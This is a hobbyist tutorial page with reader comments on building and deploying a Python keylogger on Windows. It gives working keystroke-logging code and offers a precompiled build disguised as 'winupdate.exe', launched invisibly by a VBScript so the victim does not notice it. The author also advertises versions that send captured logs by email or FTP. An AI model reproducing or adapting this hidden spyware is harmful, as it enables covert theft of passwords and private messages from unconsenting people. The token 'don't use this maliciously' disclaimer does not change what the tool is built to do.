Introduction: Simple Keylogger

Picture of Simple Keylogger

I have recently been making a much more advanced keylogger that can even send logs via gmail or ftp. So if you are interested, check the github project.

This is a simple keylogger that I made using python. I tried to make one in batch or vbs, but it is practically impossible. So I had to use python.

You all see on the internet, keyloggers, an then you download it and install it to spy or monitor someone (Windows 10 even has a built-in keylogger) . But the problem is, is that you probably also installed a ton of virus of other junk in the process.

I will show you how to make your own, or you can download mine below: (if you are unsure about downloading, I'll send you proof that it is not malicious)

Step 1: Installing Python...

Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install python and some modules. Download and install the following:

Python 2.7



Step 2: Creating the Code...

Picture of Creating the Code...

Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:

import pyHook, pythoncom, sys, logging

# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()

Then save it as something.pyw

Step 3: Test...

Picture of Test...

Now double-click on the file you just created and test it out, then start typing.

When you want to stop logging, open up task manager and kill all the "python" processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

This is the end of the instructable for you. BUT if you want to see my keylogger, continue on...

If you have any questions/concerns please pm me or post a comment.

Step 4: My Keylogger

Picture of My Keylogger

First extract keylogger.rar and open up the folder with the files.

You should see a bunch of random files, this is because when you compile a python program to a standalone .exe, you need all these files in the same directory as the program.

The only important files are "Run.vbs" and "winupdate.exe". winupdate.exe is the actual keylogger program. The reason why it is called "winupdate", is so nothing looks suspicious if the user opens up task manager.

For some reason when you compile a python program to a .exe, you don't have any option to make it run invisible, so to fix this, I created a small vbscript file called Run.vbs which simply launches winupdate.exe invisibly.

Step 5: Test...

Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that you have typed are logged.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

Step 6: Hope You Found This Helpfull

Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.

Have fun keylogging, but please don't use this program maliciously.


ShirajB made it! (author)2017-11-25

I've run your code but even though i type characters my file doesn't show shows :

xp4xbox (author)ShirajB2017-11-25

Are you using a different language than english? Those characters are non-ascii characters such as é ê, and most commonly, backspace.

CharlesJ68 (author)2017-09-24

Good day! I ran through all the processes but when I double click the .pyw file, it does not produce keylogger.txt. I also can't find 'python' process on task manager. Thanks.

xp4xbox (author)CharlesJ682017-09-25

Rename the file as a .py file then see if any console shows up. If it closes, make sure you have python2.7 installed with the correct version of pyhook and pywin32.

Costacoffee (author)2017-03-21

Is there a way where the info will be sent back to some mail or google drive. it would be amazing if that could be possible.

xp4xbox (author)Costacoffee2017-03-21

Yeah, I created a script for that a while ago, that would send the logs to your email, its a little hard to explain though, so I left it out of this instructable.

wizard143 (author)xp4xbox2017-08-09

can you give me a tutorial on how to use the script? and can you help me with the script?

calebs27 (author)2017-07-27

I would like an explanation of the Python program, not the rar file. I am trying to modify your code, please e-mail me:

justbazz (author)2017-05-05

i cant find the keyloggeroutput.txt isnt coming up just the keylogger program i created and i went through with all your process why is that ?

xp4xbox (author)justbazz2017-05-05

It shows up when you type characters, and it will show up in the exact directory as the keylogger file.

_KingCobraa_ (author)xp4xbox2017-06-04

pls make an instructables for this i would love it

xp4xbox (author)_KingCobraa_2017-06-05

For what?

JacquesTati (author)2017-02-10

Hello, I think I've found a bug on your, otherwise, amazing software. I'm required to write a lot in french for my work, and when your software is running, the accents aren't placed on the vowels, but immediately before instead. When I shut it down, the accents work fine again. I wonder if you could let me know how to fix this (I don't know anything about compiling and am just using your premade one). Kind regards and thank you for your work!

JacquesTati (author)JacquesTati2017-02-10

I think maybe the best way would just have the accent keys ignored by the software, but still wouldn't know how to do it... Would be grateful for some pointers in the right direction.

xp4xbox (author)JacquesTati2017-02-13

The simple way to put it is that the program only works with the default language of the keyboard. So when you are using accents it just logs whatever key the accent is on. For example if you type É which is the character right on top of the "/" you should get the "/" character appear. If you type "è" which is pressing the accent key than e, you should get the accent appear before.

The program just takes the raw input from the keyboard so there is no way to allow it to work for specific languages.

JacquesTati (author)xp4xbox2017-02-14

It makes sense, but it not just registers the accents as separate, it actually forces the accents as separate when you're doing the actual writing on your work. Let's say I write "bistrô" in microsoft word. With the logger active, it would show bistr^o both in microsoft word and on the txt file with the register. That's what seems intriguing. I don't mind bistr^o on the logger file, it makes total sense, but it interferes with my work on microsoft word. It's like the script is imposing on my keyboard (outside of the logging realm). Anyway, you did a wonderful job with your script and are sharing it for free, so I can only say thank you, and that I'll be using whenever I need to write in english (but not when I work in french).

Username_Already_in_use (author)2017-01-29

The logger won't work until i delete the previous keyloggeroutput.txt doc.

Any idea how to make it create a diffrent txt doc when it's restarted?

Not sure what you mean, it works for me. Maybe its because you have another logger running in the background. Check using task manager and kill all 'python' proccesses. But if you are using the compiled version, than just kill all the 'winupdate.exe'.

It was a background program causing it, Thanks for Respondng

jesssmart877 (author)2016-12-15

I haven’t heard of it yet. I’ve been using this one for about a year. This tool keeps me aware of what is going on , when I’m far from my pc. It’s an irreplaceable app, really.

About This Instructable



Bio: Hello, my name is xp4xbox, a really old name that really has nothing to do with xbox consoles. Anyway I enjoy making programs and have ... More »
More by xp4xbox:Simple Python BackdoorUSB Rubber Ducky Script Encoder (VBScript)Simple Netcat Backdoor
Add instructable to: